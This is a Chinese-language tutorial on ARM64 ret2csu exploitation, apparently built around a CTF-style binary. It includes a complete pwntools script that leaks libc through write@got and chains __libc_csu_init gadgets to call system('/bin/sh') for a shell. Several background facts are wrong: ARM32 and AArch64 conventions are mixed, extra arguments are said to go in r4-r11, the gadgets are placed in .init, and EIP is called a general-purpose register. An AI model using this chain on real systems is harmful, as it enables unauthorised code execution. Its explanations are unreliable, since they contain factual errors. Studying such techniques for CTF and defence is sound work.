ARM架构下ret2csu利用
字数 1512 2025-08-23 18:31:08
ARM架构下ret2csu利用技术详解
一、ARM架构基础知识
1.1 ARM寄存器介绍
ARM架构与x86架构在寄存器使用上有显著差异:
-
参数传递寄存器:
- r0-r3:前四个参数按顺序存储
- r4-r11:当参数超过四个时,额外参数存储在这些寄存器中
-
特殊功能寄存器:
- r12 (IP):过程调用临时寄存器
- r13 (SP):堆栈指针
- r14 (LR):链接寄存器,保存返回地址
- r15 (PC):程序计数器
1.2 ARM与x86寄存器对比
| 寄存器类型 | ARM架构 | x86架构 |
|---|---|---|
| 通用寄存器 | R0-R12 (13个) | EAX,EBX等(8个) |
| 栈指针 | SP(R13)专用 | ESP(通用寄存器充当) |
| 程序计数器 | PC(R15)专用 | EIP(通用寄存器充当) |
1.3 常见ARM汇编指令
数据处理指令
MOV:数据传送ADD/SUB/MUL/DIV:算术运算AND/ORR/EOR/BIC:位操作LSL/LSR/ASR/ROR:移位操作
分支和跳转指令
B:无条件分支BL:带链接的分支(函数调用)BEQ/BNE等:条件分支BX:分支并切换指令集
访存指令
LDR:从内存加载STR:存储到内存LDM/STM:多寄存器加载/存储
二、ret2csu技术原理
2.1 关键gadget分析
gadget1 (通常位于.init段)
LDP X19, X20, [SP, #var_s10]
LDP X21, X22, [SP, #var_s20]
LDP X23, X24, [SP, #var_s30]
LDP X29, X30, [SP + var_s0], #0x40
RET
LDP指令:加载一对寄存器- 例如
LDP X19, X20, [SP,#var_s10]将SP+var_s10地址内容给X19,SP+var_s10+0x8给X20
- 例如
- 最后一条
LDP会修改SP指针(增加0x40字节) RET指令返回到X30(LR)寄存器保存的地址
gadget2 (通常位于.init段)
LDR X3, [X21, X19, LSL #3]
MOV X2, X24
ADD X19, X19, #1
MOV X1, X23
MOV W0, W22
BLR X3
CMP X20, X19
B.NE loc_4007F0
LDR X3, [X21,X19,LSL#3]:X19左移3位加上X21的值赋给X3BLR X3:跳转到X3地址,并将下条指令地址存入X30- 前四个参数通过X0-X3传递
三、环境搭建
3.1 基础工具安装
# 安装QEMU
sudo apt install qemu-system qemu-user
# 安装ARM64动态链接库
apt search "libc6-" | grep "AARCH64"
sudo apt install libc6-arm64-cross
# 安装多架构GDB
sudo apt install gdb-multiarch
3.2 交叉编译环境
- 下载ARM官方工具链
- 解压并配置环境变量:
xz -d gcc-arm-10.3-2021.07-aarch64-arm-none-linux-gnueabihf.tar.xz
tar -xvf gcc-arm-10.3-2021.07-aarch64-arm-none-linux-gnueabihf.tar
echo 'export PATH=$PATH:/path/to/gcc-arm/bin' >> ~/.bashrc
source ~/.bashrc
3.3 调试环境配置
from pwn import *
import os
context.arch = 'arm64'
def dbg():
os.system('gnome-terminal -x sh -c "gdb-multiarch pwn -ex \'target remote 127.0.0.1:7000\'"')
p = process(['qemu-aarch64', '-g', '7000', '-L', '/usr/aarch64-linux-gnu/', './pwn'])
libc = ELF('/usr/aarch64-linux-gnu/lib/libc.so.6')
四、利用实战
4.1 利用步骤
-
泄露libc地址:
- 构造
write(1, write@got.plt, 0x8)调用 - 从返回数据计算libc基址
- 构造
-
读入shellcode:
- 构造
read(0, bss+0x100, 0x20)调用 - 发送system地址和"/bin/sh"字符串
- 构造
-
执行system:
- 构造
system('/bin/sh')调用
- 构造
4.2 完整利用代码
from pwn import *
import os
context(os="linux", arch='aarch64', log_level='debug')
# 调试函数
def dbg():
os.system('gnome-terminal -x sh -c "gdb-multiarch pwn -ex \'target remote 127.0.0.1:7010\'"')
# 初始化
p = process(['qemu-aarch64', '-g', '7010', '-L', '/usr/aarch64-linux-gnu/', './pwn'])
elf = ELF("./pwn")
libc = ELF('/usr/aarch64-linux-gnu/lib/libc.so.6')
# Gadget地址
g1 = 0x400810
g2 = 0x4007F0
main = 0x40076c
bss1 = 0x0411140 # bss+0x100
# 第一阶段: leak libc
pl = b'a'*0x88 + p64(g1)
pl += p64(main) + p64(0x100000000)
pl += p64(0) + p64(g2)
pl += p64(0) + p64(1)
pl += p64(elf.got['write']) + p64(1)
pl += p64(elf.got['write']) + p64(0x8)
pl += p64(0) + p64(main)
p.sendlineafter('Hello, World\n', pl)
write_addr = u64(p.recv(6).ljust(8, b'\x00'))
libcbase = write_addr - libc.sym['write']
system = libcbase + libc.sym['system']
# 第二阶段: read shellcode
pl = b'a'*0x88 + p64(g1)
pl += p64(main) + p64(0x100000000)
pl += p64(0) + p64(g2)
pl += p64(0) + p64(1)
pl += p64(elf.got['read']) + p64(0)
pl += p64(bss1) + p64(0x20)
pl += p64(0) + p64(main)
p.sendlineafter('Hello, World\n', pl)
p.sendline(p64(system) + b'/bin/sh\x00')
# 第三阶段: execute system
pl = b'a'*0x88 + p64(g1)
pl += p64(main) + p64(0x100000000)
pl += p64(0) + p64(g2)
pl += p64(0) + p64(1)
pl += p64(bss1) + p64(bss1+8)
pl += p64(0) + p64(0)
pl += p64(0) + p64(main)
p.sendlineafter('Hello, World\n', pl)
p.interactive()
五、关键点总结
-
栈布局控制:
- 需要精确控制SP指针的变化
- 通过padding和gadget1的SP调整实现栈迁移
-
寄存器控制:
- 利用gadget1设置X19-X24寄存器
- 通过gadget2实现函数调用和参数传递
-
链式利用:
- 通过多次ret2csu实现连续的函数调用
- 每次调用后返回main函数重新开始
-
调试技巧:
- 使用QEMU的-g参数开启调试端口
- 结合gdb-multiarch进行动态调试
- 注意ARM架构下的指令对齐问题
六、防御措施
-
代码保护:
- 启用PIE使地址随机化
- 使用stack canary检测栈溢出
-
编译器选项:
- -fno-plt减少PLT表暴露
- -Wl,-z,now启用立即绑定
-
运行时保护:
- 启用ASLR增加地址随机性
- 限制敏感函数调用